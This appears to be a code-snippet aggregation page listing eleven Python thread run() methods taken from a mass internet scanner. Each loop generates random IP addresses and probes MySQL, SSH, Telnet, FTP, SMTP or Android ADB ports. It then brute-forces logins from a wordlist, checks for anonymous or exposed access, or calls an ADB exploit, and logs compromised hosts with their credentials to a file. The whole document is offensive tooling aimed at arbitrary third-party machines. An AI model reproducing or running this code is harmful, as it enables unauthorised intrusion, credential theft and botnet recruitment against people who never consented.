Beispiel #1
0
 def run(self):
  s=mysql
  self.ip_seg=ip_seg
  self.timeout=_timeout
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,3306))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      if mysql(ip)==True:
       ip+=':root:'
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #2
0
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,22))
    i=True
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if wido==True:
       q=ssh_win(ip,username=username,password=password,timeout=self.timeout)
      elif termux==True:
       q=ssh_andro(ip,username=username,password=password,timeout=self.timeout)
      else:
       q=ssh_linux(ip,username=username,password=password,timeout=self.timeout)
      if q==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #3
0
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,23))
    i=True
   except Exception as ex: 
    pass
   if i==True:
    if exposed_telnet(ip,timeout=self.timeout)==True:
        """ip+='::'
        print (ip)
        write_file(ip,filen)"""
        pass
    else:
     for x in wordlist:
      try:
       username=x.split(':')[0]
       password=x.split(':')[1]
       q= telnet(ip,username=username,password=password)
       if q==True:
        ip+=':'+username+':'+password
        print (ip)
        write_file(ip,filen)
      except Exception as e: 
       pass
Beispiel #4
0
 def run(self):
     self.ip_seg = ip_seg
     self.timeout = _timeout
     time.sleep(2)
     while (stop != True):
         if self.ip_seg == None:
             ip = getip()
         else:
             ip = self.ip_seg.format(random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255))
         i = False
         try:
             so = socket.socket()
             so.settimeout(self.timeout)
             so.connect((ip, 3306))
             i = True
             so.close()
         except Exception as ex:
             pass
         if i == True:
             for x in wordlist:
                 try:
                     username = x.split(':')[0]
                     password = x.split(':')[1]
                     if mysql(ip, username, password) == True:
                         ip += ':' + username + ':' + password
                         print(ip)
                         write_file(ip, filen)
                         break
                 except Exception as e:
                     pass
     self.ip_seg = None
     self.timeout = None
Beispiel #5
0
 def run(self):
     self.ip_seg = ip_seg
     self.timeout = _timeout
     time.sleep(2)
     while (stop != True):
         if self.ip_seg == None:
             ip = getip()
         else:
             ip = self.ip_seg.format(random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255))
         i = False
         try:
             so = socket.socket()
             so.settimeout(self.timeout)
             so.connect((ip, 5555))
             i = True
             so.close()
         except Exception as ex:
             pass
         if i == True:
             try:
                 q = adb_exploit(ip, timeout=self.timeout)
                 if q == True:
                     print(ip)
                     write_file(ip, filen)
             except Exception as e:
                 pass
     self.ip_seg = None
     self.timeout = None
Beispiel #6
0
 def run(self):
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,22))
    i=True
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if wido==True:
       q=sshwin(ip,username=username,password=password)
      elif termux==True:
       q=sshandro(ip,username=username,password=password)
      else:
       q=sshlin(ip,username=username,password=password)
      if q==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #7
0
 def run(self):
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,21))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      if ftpanon(ip)==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #8
0
 def run(self):
     self.ip_seg = ip_seg
     self.timeout = _timeout
     self.port = __port
     self.ehlo = __ehlo
     self.helo = __helo
     self.ttls = __ttls
     time.sleep(2)
     while (stop != True):
         if self.ip_seg == None:
             ip = getip()
         else:
             ip = self.ip_seg.format(random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255),
                                     random.randint(0, 255))
         try:
             so = socket.socket()
             so.settimeout(self.timeout)
             so.connect((ip, 25))
             i = True
             so.close()
         except Exception as ex:
             pass
         if i == True:
             for x in wordlist:
                 try:
                     username = x.split(':')[0]
                     password = x.split(':')[1]
                     if smtp(ip,
                             username,
                             password,
                             p=self.port,
                             ehlo=self.ehlo,
                             helo=self.helo,
                             ttls=self.ttls) == True:
                         ip += ':' + username + ':' + password
                         print(ip)
                         write_file(ip, filen)
                 except Exception as e:
                     pass
     self.ip_seg = None
     self.timeout = None
Beispiel #9
0
 def run(self):
  s=mysql
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,3306))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      if mysql(ip)==True:
       ip+=':root:'
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #10
0
 def run(self):
  while True:
   ip=getip()
   i=False
   try:
    so=socket.socket()
    so.settimeout(3)
    so.connect((ip,3306))
    i=True
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if mysql(ip,username=username,password=password)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
Beispiel #11
0
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,23))
    i=True
   except Exception as ex: 
    pass
   if i==True:
     try:
      q= exposed_telnet(ip,timeout=self.timeout)
      if q==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass